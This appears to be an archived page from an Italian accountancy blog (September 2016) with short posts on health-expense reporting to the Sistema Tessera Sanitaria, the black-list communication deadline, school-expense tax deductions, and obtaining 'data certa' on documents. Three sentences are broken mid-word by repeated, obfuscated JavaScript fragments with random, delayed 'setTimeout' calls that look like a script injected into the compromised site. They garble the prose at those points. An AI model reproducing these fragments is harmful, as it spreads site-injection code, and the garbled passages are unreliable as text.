Mese: settembre 2016

Closeup of a businesswoman doing finances

Invio dati spesi sanitarie al sistema tessera sanitaria (STS)

L’art. 3 del D.lgs. 175/2014 ha previsto l’obbligo per i soggetti che erogano servizi di prestazioni sanitarie, di inviare al Sistema Tessera Sanitaria (c.d. STS) i relativi dati entro il 31 gennaio dell’anno successivo a quello di sostenimento della spesa, ai fini della predisposizione e compilazione del modello 730/Unico precompilato da parte dell’Agenzia delle Entrate.

L’art. 1 comma 949 lett. a) della L. 208/2015 ha esteso tale obbligo anche alle strutture autorizzate per l’erogazione dei servizi sanitari non accreditate.

Con il Decreto MEF del 02.08.2016 e con il Provvedimento dell’Agenzia delle Entrate del 29.07.2016, sono state ridefinite le modalità di trasmissione e utilizzo dei dati ai fini del mod. 730/Unico precompilato applicabili a decorrere dal periodo d’imposta 2016, riproponendo le medesime modalità previste dal precedente Provvedimento del 31.07.2016, ma tenendo conto della nuova platea di soggetti tenuti alla trasmissione dei dati sanitari.

Con il successivo decreto del 1° settembre 2016, il MEF ha esteso l’obbligo di invio dei dati a nuove tipologie di soggetti, quali ad esempio infermieri, psicologi, parafarmacie, veterinari ecc…

In merito alla nuova categoria di soggetti interessati il Mef ha previsto che:

  • sono confermate le modalità tecniche di utilizzo dei dati previste con il provvedimento del 29.07.2016;
  • saranno stabilite con un apposito decreto le modalità operative per la trasmissione dei dati da parte dei nuovi soggetti;
  • sono individuate le nuove tipologie di spesa interessate.

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Comunicazione black list entro il 20 settembre

Il 20 settembre 2016 scade il termine per presentare la comunicazione delle operazioni realizzate nel 2015 con soggetti aventi sede, residenza o domicilio in paesi a fiscalità privilegiata.

Il termine, inizialmente fissato al:

  • 11 aprile (in quanto il 10 aprile cadeva di domenica) per i contribuenti mensili;
  • 20 aprile per i contribuenti trimestrali;

è stato prorogato al 20 settembre 2016 per tutti operatori, con il Provvedimento direttoriale delle Entrate del 25.03.2016.

La comunicazione va effettuata utilizzandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando il quadro BL del Modello di comunicazione polivalente.

In questa scheda si riepilogano gli aspetti principali dell’adempimento che recepisce le semplificazioni introdotte con il D.lgs. 175/2014.

In allegato una tabella riassuntiva

Financial background. Closeup of pen near calculator on paper with chart

Servizi integrativi ammessi alla detrazione per spese scolastiche

L’art. 15 comma 1 del TUIR prevede che possano essere portate in detrazione al 19%, le spese per la frequenza di asili e scuole, entro determinati limiti.

La Legge 107/2015 (c.d. Legge “Buona Scuola”) è intervenuta in merito a tale detrazione:

•   offrendo la possibilità di fruire della detrazione Irpef del 19% delle spese per istruzione diverse da quelle universitarie, in particolare delle spese per la frequenza di scuole materna, elementare, media e superiore, purché statale o paritaria;

•   modificandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando i criteri per la determinazione del limite massimo di spesa per la frequenza a corsi di università private.

Su tali novità l’Agenzia delle Entrate è intervenuta per offrire importanti chiarimenti con le Circolari 3/E e 18/E/2016.

Più di recente, con la risoluzione n. 68/E del 4 agosto 2016, l’Agenzia delle Entrate ha precisato che la detrazione Irpef del 19% per le spese di istruzione è riconosciuta anche per i servizi scolastici integrativi come l’assistenza al pasto e il pre/post scuola, in quanto gli stessi sono collegati alla frequenza scolastica.

La detrazione, invece, non spetta per il servizio di scuolabus, anche se fornito in presenza di un servizio pubblico inadeguato a consentire il collegamento tra l’abitazione dello studente e la scuola,

In queste scheda si propone un riepilogo sulle regole di detrazione  delle spese scolastiche, alla luce dei recenti chiarimenti offerti dall’Agenzia delle Entrate.

 

In allegato una tabella riepilogativa

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Data certa sui documenti

Spesso è necessario attribuire ad un documento la c.d. “data certa”, ossia la certezza e la prova che lo stesso è stato formato in un dato momento (giorno, mese e anno), ciò al fine di renderlo opponibile a terzi, superandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando così qualsiasi contestazione.

Un modo agevole di dare “data certa” era quello di recarsi presso un Ufficio postale e farsi apporre un timbro al documento.

Tuttavia, dal 1° aprile 2016 non è più possibile rivolgersi all’Ufficio postale per l’apposizione del timbro. Con una specifica Circolare “interna” (non disponibile) le Poste Italiane SpA hanno comunicato ai vari Uffici che a partire dall’1.4.2016 non è più possibile erogare presso gli stessi il servizio “data certa”.

Si riepilogano di seguito le modalità alternative per ottenere la data certa su un documento.